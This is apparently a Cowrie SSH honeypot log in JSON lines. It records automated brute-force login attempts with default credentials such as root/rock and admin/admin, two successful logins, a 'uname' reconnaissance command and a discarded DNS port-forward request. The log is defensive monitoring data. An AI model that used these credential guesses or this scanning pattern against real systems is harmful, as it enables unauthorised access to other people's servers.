{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:58.826459Z","src_ip":"89.144.211.139","session":"04bed2cec5f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"sergtsop","message":"login attempt [postgres/sergtsop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:59.374913Z","src_ip":"89.144.211.139","session":"04bed2cec5f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54332,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cebbfff0394","protocol":"ssh","message":"New connection: 172.237.20.62:54332 (159.203.135.109:22) [session: 3cebbfff0394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:00.247268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:00.258407Z","src_ip":"172.237.20.62","session":"3cebbfff0394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:00.425318Z","src_ip":"172.237.20.62","session":"3cebbfff0394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:00.507157Z","src_ip":"89.144.211.139","session":"04bed2cec5f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:00.908510Z","src_ip":"172.237.20.62","session":"3cebbfff0394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:02.072336Z","src_ip":"172.237.20.62","session":"3cebbfff0394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":57530,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6328e27e88c","protocol":"ssh","message":"New connection: 172.237.20.62:57530 (159.203.135.109:22) [session: a6328e27e88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:10.978461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:10.982224Z","src_ip":"172.237.20.62","session":"a6328e27e88c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:11.145114Z","src_ip":"172.237.20.62","session":"a6328e27e88c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:11.636527Z","src_ip":"172.237.20.62","session":"a6328e27e88c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:12.047334Z","src_ip":"172.237.20.62","session":"a6328e27e88c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:12.050866Z","src_ip":"172.237.20.62","session":"a6328e27e88c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:12.217061Z","src_ip":"172.237.20.62","session":"a6328e27e88c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:12.222656Z","src_ip":"172.237.20.62","session":"a6328e27e88c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":40074,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d925f5ce1e5","protocol":"ssh","message":"New connection: 172.237.20.62:40074 (159.203.135.109:22) [session: 5d925f5ce1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:21.910751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:21.915877Z","src_ip":"172.237.20.62","session":"5d925f5ce1e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:22.078790Z","src_ip":"172.237.20.62","session":"5d925f5ce1e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:22.568349Z","src_ip":"172.237.20.62","session":"5d925f5ce1e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:23.736758Z","src_ip":"172.237.20.62","session":"5d925f5ce1e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50032,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eac9a813034","protocol":"ssh","message":"New connection: 80.94.92.184:50032 (10.17.0.5:22) [session: 4eac9a813034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:31.093185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:31.193367Z","src_ip":"80.94.92.184","session":"4eac9a813034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:31.361619Z","src_ip":"80.94.92.184","session":"4eac9a813034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:32.807983Z","src_ip":"80.94.92.184","session":"4eac9a813034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52746,"dst_ip":"159.203.135.109","dst_port":22,"session":"a801e538d6f6","protocol":"ssh","message":"New connection: 172.237.20.62:52746 (159.203.135.109:22) [session: a801e538d6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:32.844548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:32.849967Z","src_ip":"172.237.20.62","session":"a801e538d6f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:33.010555Z","src_ip":"172.237.20.62","session":"a801e538d6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:33.487459Z","src_ip":"172.237.20.62","session":"a801e538d6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:33.995789Z","src_ip":"80.94.92.184","session":"4eac9a813034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:34.649071Z","src_ip":"172.237.20.62","session":"a801e538d6f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46548,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a45c6c1c2db","protocol":"ssh","message":"New connection: 172.237.20.62:46548 (159.203.135.109:22) [session: 7a45c6c1c2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:43.787911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:43.796773Z","src_ip":"172.237.20.62","session":"7a45c6c1c2db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:43.960287Z","src_ip":"172.237.20.62","session":"7a45c6c1c2db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:44.466353Z","src_ip":"172.237.20.62","session":"7a45c6c1c2db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36982,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c0678e0df96","protocol":"ssh","message":"New connection: 87.251.64.176:36982 (10.17.0.5:22) [session: 7c0678e0df96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:45.606323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:45.611223Z","src_ip":"87.251.64.176","session":"7c0678e0df96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:45.631643Z","src_ip":"172.237.20.62","session":"7a45c6c1c2db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:45.707851Z","src_ip":"87.251.64.176","session":"7c0678e0df96","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:45.999615Z","src_ip":"87.251.64.176","session":"7c0678e0df96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:46.099132Z","session":"7c0678e0df96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:46.197589Z","src_ip":"87.251.64.176","session":"7c0678e0df96","protocol":"ssh"}
